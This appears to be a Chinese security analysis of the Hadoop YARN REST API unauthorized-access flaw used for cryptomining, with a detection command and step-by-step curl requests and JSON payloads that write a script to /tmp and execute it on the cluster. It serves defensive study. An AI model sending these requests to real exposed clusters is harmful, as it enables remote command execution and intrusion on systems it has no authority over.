一、背景
5月5日腾讯云安全团队曾针对“攻击者利用Hadoop Yarn资源管理系统REST API未授权漏洞对服务器进行攻击,攻击者可以在未授权的情况下远程执行代码”的安全问题进行预警,在预警的前后我们曾多次捕获相关的攻击案例,其中就包含利用该问题进行挖矿,我们针对其中一个案例进行分析并提供响应的安全建议和解决方案。
二、漏洞说明
Hadoop是一个由Apache基金会所开发的分布式系统基础架构,YARN是hadoop系统上的资源统一管理平台,其主要作用是实现集群资源的统一管理和调度,可以把MapReduce计算框架作为一个应用程序运行在YARN系统之上,通过YARN来管理资源。简单的说,用户可以向YARN提交特定应用程序进行执行,其中就允许执行相关包含系统命令。
YARN提供有默认开放在8088和8090的REST API(默认前者)允许用户直接通过API进行相关的应用创建、任务提交执行等操作,如果配置不当,REST API将会开放在公网导致未授权访问的问题,那么任何黑客则就均可利用其进行远程命令执行,从而进行挖矿等行为。
检测方法
curl http://node01:8088/ws/v1/cluster
返回类似如下内容则有可能被攻击
攻击步骤
1、申请新的application
直接通过curl进行POST请求
通过REST API提交任务,向/tmp目录输出接下来要执行的脚本内容
curl -H "Accept: application/json" -H "Content-Type: application/json" http://node01:8088/ws/v1/cluster/apps -X POST --data-binary @setup.json
setup.json
{ "am-container-spec":{ "commands":{ "command":"echo 'echo 11 > /tmp/time_1.sh' > /tmp/setup.sh" } }, "application-id":"application_1621418758341_0210", "application-name":"setup", "application-type":"YARN" }
在服务器的tmp目录下查看,已经生成该脚本
再次提交任务,执行该脚本
curl -H "Accept: application/json" -H "Content-Type: application/json" http://node01:8088/ws/v1/cluster/apps -X POST --data-binary @exec.json
exec.json
{ "am-container-spec":{ "commands":{ "command":"sh /tmp/setup.sh" } }, "application-id":"application_1621418758341_0211", "application-name":"exec", "application-type":"YARN" }
在服务器上的脚本已经执行并输出指定内容